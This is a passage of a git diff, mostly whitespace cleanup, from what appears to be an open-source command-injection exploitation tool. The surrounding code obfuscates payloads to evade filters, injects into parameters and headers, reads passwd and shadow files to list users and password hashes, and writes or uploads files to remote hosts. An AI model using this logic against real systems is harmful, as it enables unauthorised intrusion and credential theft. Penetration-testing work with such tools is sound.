is_decoded = False encoded_with = "" check_value = payload @@ -1477,7 +1477,7 @@ def recognise_payload(payload): encoded_with = "hex" except Exception: pass - + elif re.match(settings.HEX_RECOGNITION_REGEX, check_value): decoded_payload, _ = hexdecode(check_value) if _: @@ -1522,11 +1522,11 @@ def recognise_payload(payload): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass if is_decoded: - return _urllib.parse.quote(decoded_payload), encoded_with + return _urllib.parse.quote(decoded_payload), encoded_with else: return payload, encoded_with @@ -1562,7 +1562,7 @@ def perform_payload_modification(payload): from src.core.tamper import printf2echo payload = printf2echo.tamper(payload) - for sleep_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for sleep_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # sleep to timeout if sleep_type == 'sleep2timeout': from src.core.tamper import sleep2timeout @@ -1581,34 +1581,34 @@ def perform_payload_modification(payload): if quotes_type == 'singlequotes': from src.core.tamper import singlequotes payload = singlequotes.tamper(payload) - + for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Add uninitialized variable. if mod_type == 'uninitializedvariable': from src.core.tamper import uninitializedvariable - payload = uninitializedvariable.tamper(payload) + payload = uninitializedvariable.tamper(payload) if mod_type == 'slash2env': from src.core.tamper import slash2env - payload = slash2env.tamper(payload) - # Add backslashes. + payload = slash2env.tamper(payload) + # Add backslashes. if mod_type == 'backslashes': from src.core.tamper import backslashes - payload = backslashes.tamper(payload) - # Add caret symbol. + payload = backslashes.tamper(payload) + # Add caret symbol. if mod_type == 'caret': from src.core.tamper import caret - payload = caret.tamper(payload) + payload = caret.tamper(payload) # Transfomation to nested command if mod_type == 'nested': from src.core.tamper import nested - payload = nested.tamper(payload) + payload = nested.tamper(payload) # Add dollar sign followed by an at-sign. if mod_type == 'dollaratsigns': from src.core.tamper import dollaratsigns - payload = dollaratsigns.tamper(payload) + payload = dollaratsigns.tamper(payload) for space_mod in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # Encode spaces. + # Encode spaces. if space_mod == 'space2ifs': from src.core.tamper import space2ifs payload = space2ifs.tamper(payload) @@ -1623,7 +1623,7 @@ def perform_payload_modification(payload): payload = space2vtab.tamper(payload) for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # Encode payload to hex format. + # Encode payload to hex format. if encode_type == 'base64encode': from src.core.tamper import base64encode payload = base64encode.tamper(payload) @@ -1663,7 +1663,7 @@ def json_data(data): def is_empty(multi_parameters, http_request_method): all_empty = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking for empty values in provided data." + debug_msg = "Checking for empty values in provided data." print(settings.print_debug_msg(debug_msg)) empty_parameters = [] multi_params = [s for s in multi_parameters] @@ -1695,20 +1695,20 @@ def is_empty(multi_parameters, http_request_method): elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE: - empty_parameters.append(re.findall(r'', empty)[0]) + empty_parameters.append(re.findall(r'', empty)[0]) elif len(empty.split("=")[1]) == 0: empty_parameters.append(empty.split("=")[0]) except IndexError: if not settings.IS_XML: err_msg = "No parameter(s) found for testing in the provided data." print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + raise SystemExit() + if len(empty_parameters) == len(multi_parameters): all_empty = True if menu.options.skip_empty: settings.SKIP_PARAMETER = empty_parameters - + empty_parameters = ", ".join(empty_parameters) if len(empty_parameters) > 0: if menu.options.skip_empty: @@ -1719,8 +1719,8 @@ def is_empty(multi_parameters, http_request_method): return False else: warn_msg = "The provided value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] - warn_msg += " for " + http_request_method - warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += " for " + http_request_method + warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1] warn_msg += " '" + empty_parameters + "'" warn_msg += (' are ', ' is ')[len(empty_parameters.split(",")) == 1] + "empty. " @@ -1743,16 +1743,16 @@ def process_xml_data(): info_msg = "SOAP/XML data found in POST data." message = info_msg message += " Do you want to process it? [Y/n] > " - xml_process = common.read_input(message, default="Y", check_batch=True) + xml_process = common.read_input(message, default="Y", check_batch=True) if xml_process in settings.CHOICE_YES: settings.IS_XML = True break elif xml_process in settings.CHOICE_NO: - break + break elif xml_process in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(xml_process) + common.invalid_option(xml_process) pass #Check if INJECT_TAG is enclosed in quotes (in json data) @@ -1785,16 +1785,16 @@ def process_json_data(): info_msg = "JSON data found in POST data." message = info_msg message += " Do you want to process it? [Y/n] > " - json_process = common.read_input(message, default="Y", check_batch=True) + json_process = common.read_input(message, default="Y", check_batch=True) if json_process in settings.CHOICE_YES: settings.IS_JSON = True break elif json_process in settings.CHOICE_NO: - break + break elif json_process in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(json_process) + common.invalid_option(json_process) pass """ @@ -1869,7 +1869,7 @@ def print_ps_version(ps_version, filename, _): # Output PowerShell's version number info_msg = "Powershell version: " + ps_version print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Powershell version: " + ps_version + "\n" @@ -1877,7 +1877,7 @@ def print_ps_version(ps_version, filename, _): output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." + warn_msg += "which means that some payloads or injection techniques may be failed." print(settings.print_warning_msg(warn_msg)) settings.PS_ENABLED = False ps_check_failed() @@ -1891,7 +1891,7 @@ def print_hostname(shell, filename, _): print(settings.SINGLE_WHITESPACE) info_msg = "Hostname: " + str(shell) print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: info_msg = info_msg + "\n" @@ -1910,7 +1910,7 @@ def print_current_user(cu_account, filename, _): print(settings.SINGLE_WHITESPACE) info_msg = "Current user: " + str(cu_account) print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: info_msg = info_msg + "\n" @@ -1932,9 +1932,9 @@ def print_current_user_privs(shell, filename, _): if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Current user has excessive privileges: " + str(priv) + info_msg = "Current user has excessive privileges: " + str(priv) print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: info_msg = info_msg + "\n" @@ -1950,7 +1950,7 @@ def print_os_info(target_os, target_arch, filename, _): print(settings.SINGLE_WHITESPACE) info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: info_msg = info_msg + "\n" @@ -1986,7 +1986,7 @@ def os_info_msg(self): def print_users_msg(self): if settings.TARGET_OS == settings.OS.WINDOWS: - info_msg = "Executing the 'net user' command " + info_msg = "Executing the 'net user' command " else: info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " info_msg += "in order to enumerate operating system users. " @@ -1994,7 +1994,7 @@ def print_users_msg(self): def print_passes_msg(self): info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' " - info_msg += "in order to enumerate operating system users password hashes. " + info_msg += "in order to enumerate operating system users password hashes. " print(settings.print_info_msg(info_msg)) def print_single_os_cmd_msg(self, cmd): @@ -2018,10 +2018,10 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" - info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2033,7 +2033,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi # cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" # if alter_shell: # cmd = escape_single_quoted_cmd(cmd) - # cmd = "cmd /c " + cmd + # cmd = "cmd /c " + cmd # from src.core.injections.results_based.techniques.classic import cb_injector # response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # check_privs = cb_injector.injection_results(response, TAG, cmd) @@ -2050,7 +2050,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi # else : is_privileged = is_privileged = "" print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: if count == 1 : @@ -2068,8 +2068,8 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi warn_msg = "It seems that you don't have permissions to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) pass - - # Unix-like users enumeration. + + # Unix-like users enumeration. else: try: if sys_users: @@ -2089,7 +2089,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if not menu.options.no_logging: output_file.write(" " + sys_users) output_file.close() - else: + else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) @@ -2097,10 +2097,10 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" - info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2129,7 +2129,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " + is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " @@ -2139,8 +2139,8 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi else : is_privileged = "" is_privileged_nh = "" - print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. + print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: if count == 1 : @@ -2150,25 +2150,25 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi except ValueError: if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." + warn_msg += "appropriate format. Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) + print(sys_users) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + sys_users) output_file.close() else: # print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" + warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: # print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." + warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" + warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) pass @@ -2183,10 +2183,10 @@ def print_passes(sys_passes, filename, _, alter_shell): if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" - info_msg += " user" + ('s', '')[len(sys_passes) == 1] + info_msg += " user" + ('s', '')[len(sys_passes) == 1] info_msg += " password hashes [" + str(len(sys_passes)) + "]:" print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) @@ -2199,7 +2199,7 @@ def print_passes(sys_passes, filename, _, alter_shell): fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: if count == 1 : @@ -2218,7 +2218,7 @@ def print_passes(sys_passes, filename, _, alter_shell): output_file.write(" " + fields[0]) output_file.close() else: - warn_msg = "It seems that you don't have permissions to read the '" + warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." print(settings.print_warning_msg(warn_msg)) @@ -2231,7 +2231,7 @@ def print_single_os_cmd(cmd, shell): print(settings.print_retrieved_data(_, shell)) else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + print(settings.print_error_msg(err_msg)) """ Quote provided cmd @@ -2272,7 +2272,7 @@ def find_filename(dest_to_write, content): Decode base 64 encoding """ def win_decode_b64_enc(fname, tmp_fname): - cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\") + cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\") return cmd """ @@ -2291,7 +2291,7 @@ def remove_command_substitution(cmd): def remove_parenthesis(cmd): cmd = cmd.replace("(","").replace(")","") - return cmd + return cmd """ Write the file content @@ -2301,14 +2301,14 @@ def write_content(content, dest_to_write): if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: - cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write return cmd """ Delete filename """ def delete_tmp(tmp_fname): - cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\") + cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\") return cmd """ @@ -2329,7 +2329,7 @@ def change_dir(dest_to_write): dest_to_write = dest_to_write.replace("\\","/") path = os.path.dirname(dest_to_write) path = path.replace("/","\\") - cmd = "cd " + path + cmd = "cd " + path return cmd """ @@ -2337,7 +2337,7 @@ def change_dir(dest_to_write): """ def file_content_to_read(): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: @@ -2408,7 +2408,7 @@ def check_file_to_write(): print(settings.SINGLE_WHITESPACE) dest_to_write = check_destination(destination=menu.options.file_dest) - info_msg = "Trying to write the content of the file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) return file_to_write, dest_to_write, content @@ -2418,7 +2418,7 @@ def check_file_to_write(): """ def file_write_status(shell, dest_to_write): if shell: - info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'." + info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write files on the remote directory '" + dest_to_write + "'." @@ -2438,9 +2438,9 @@ def check_file_to_upload(): except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() dest_to_upload = check_destination(destination=menu.options.file_dest) - info_msg = "Trying to upload the file from '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) # Execute command @@ -2468,7 +2468,7 @@ def file_upload(): # Check if not defined URL for upload. while True: message = "Do you want to enable a local HTTP server? [Y/n] > " - enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) + enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists @@ -2485,7 +2485,7 @@ def file_upload(): # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4(ip_addr) if ip_check == False: - err_msg = "The provided IP address seems not valid." + err_msg = "The provided IP address seems not valid." print(settings.print_error_msg(err_msg)) pass else: @@ -2494,12 +2494,12 @@ def file_upload(): # Check for invalid HTTP server's port. if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535: - err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." + err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." print(settings.print_critical_msg(err_msg)) raise SystemExit() - + http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) - info_msg = "Setting the HTTP server on '" + http_server + "/'. " + info_msg = "Setting the HTTP server on '" + http_server + "/'. " print(settings.print_info_msg(info_msg)) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() @@ -2510,11 +2510,11 @@ def file_upload(): err_msg = "The provided '--file-upload' option requires the activation of a local HTTP server." print(settings.print_critical_msg(err_msg)) raise SystemExit() - break + break elif enable_HTTP_server in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enable_HTTP_server) + common.invalid_option(enable_HTTP_server) pass """ @@ -2528,14 +2528,14 @@ def check_wrong_flags(): print(settings.print_warning_msg(warn_msg)) if menu.options.passwords: warn_msg = "The '--passwords' option, is not yet supported Windows targets." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) if menu.options.file_upload : warn_msg = "The '--file-upload' option, is not yet supported Windows targets. " warn_msg += "Instead, use the '--file-write' option." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) raise SystemExit() - else: - if menu.options.is_admin : + else: + if menu.options.is_admin : warn_msg = "Swithing the '--is-admin' to '--is-root' because " warn_msg += "the target has been identified as Unix-like. " print(settings.print_warning_msg(warn_msg)) @@ -2546,18 +2546,18 @@ def check_wrong_flags(): def define_py_working_dir(): if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.alter_shell: while True: - message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER message += "' as Python working directory on the target host? [Y/n] > " python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please provide a custom working directory for Python (e.g. '" + message = "Please provide a custom working directory for Python (e.g. '" message += settings.WIN_PYTHON_INTERPRETER + "') > " settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) break else: - common.invalid_option(python_dir) + common.invalid_option(python_dir) pass settings.USER_DEFINED_PYTHON_DIR = True diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index f2d73dcf16..262b731db4 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -59,8 +59,8 @@ def check_for_stored_sessions(url, http_request_method): if session_handler.check_stored_parameter(url, http_request_method): if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: settings.LOAD_SESSION = True - return True - + return True + """ Check for previously stored injection level. """ @@ -82,7 +82,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, settings.CLASSIC_STATE = True try: whitespace = settings.WHITESPACES[0] - if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: + if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: _ = 0 for payload in basic_payloads: _ = _ + 1 @@ -103,7 +103,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) - else: + else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: @@ -122,7 +122,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if match: settings.IDENTIFIED_COMMAND_INJECTION = True info_msg = "Heuristic (basic) tests shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." print(settings.print_bold_info_msg(info_msg)) break @@ -142,7 +142,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: - if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: + if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: @@ -161,7 +161,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) - else: + else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: @@ -187,7 +187,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: info_msg = "Heuristic (basic) tests shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." + info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -210,10 +210,10 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met checks.skip_command_injection_tests() else: settings.CLASSIC_STATE = False - if settings.CLASSIC_STATE == None: + if settings.CLASSIC_STATE == None: checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE) -# Check if it's exploitable via dynamic code evaluation technique. +# Check if it's exploitable via dynamic code evaluation technique. def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" @@ -255,7 +255,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True else: settings.FILE_BASED_STATE = False - if settings.FILE_BASED_STATE == None: + if settings.FILE_BASED_STATE == None: checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) """ @@ -264,7 +264,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m def injection_proccess(url, check_parameter, http_request_method, filename, timesec): if settings.PERFORM_BASIC_SCANS: basic_level_checks() - + inject_http_headers = False if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \ (http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data): @@ -272,18 +272,18 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): inject_http_headers = True - if menu.options.ignore_code: + if menu.options.ignore_code: info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) - # User-Agent HTTP header / Referer HTTP header / + # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" the_type = "HTTP header" check_parameter = " '" + check_parameter.strip() + "'" else: - if settings.COOKIE_INJECTION: + if settings.COOKIE_INJECTION: header_name = "Cookie" else: header_name = "" @@ -300,7 +300,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = "" if not header_name == "Cookie" and not the_type == "HTTP header": settings.CHECKING_PARAMETER = str(http_request_method) - settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] if header_name == "Cookie" : settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) else: @@ -310,13 +310,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time print(settings.print_info_msg(info_msg)) if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." print(settings.print_debug_msg(debug_msg)) else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." print(settings.print_debug_msg(debug_msg)) @@ -332,12 +332,12 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: warn_msg = "Heuristic (basic) tests shows that " warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: - warn_msg = "Due to the provided (unsuitable) injection technique" + warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) @@ -373,10 +373,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time Inject HTTP headers (User-agent / Referer / Host) (if level > 2). """ def http_headers_injection(url, http_request_method, filename, timesec): - # Disable Cookie Injection + # Disable Cookie Injection settings.COOKIE_INJECTION = None - def user_agent_injection(url, http_request_method, filename, timesec): + def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent if not menu.options.shellshock: menu.options.agent = menu.options.agent + settings.INJECT_TAG @@ -401,7 +401,7 @@ def referer_injection(url, http_request_method, filename, timesec): settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.REFERER_INJECTION = False + settings.REFERER_INJECTION = False menu.options.agent = referer def host_injection(url, http_request_method, filename, timesec): @@ -415,7 +415,7 @@ def host_injection(url, http_request_method, filename, timesec): settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.HOST_INJECTION = False + settings.HOST_INJECTION = False menu.options.host = host # User-Agent HTTP header injection @@ -424,7 +424,7 @@ def host_injection(url, http_request_method, filename, timesec): user_agent_injection(url, http_request_method, filename, timesec) else: if "user-agent" not in menu.options.skip_parameter.lower(): - user_agent_injection(url, http_request_method, filename, timesec) + user_agent_injection(url, http_request_method, filename, timesec) # Referer HTTP header injection if menu.options.skip_parameter == None: @@ 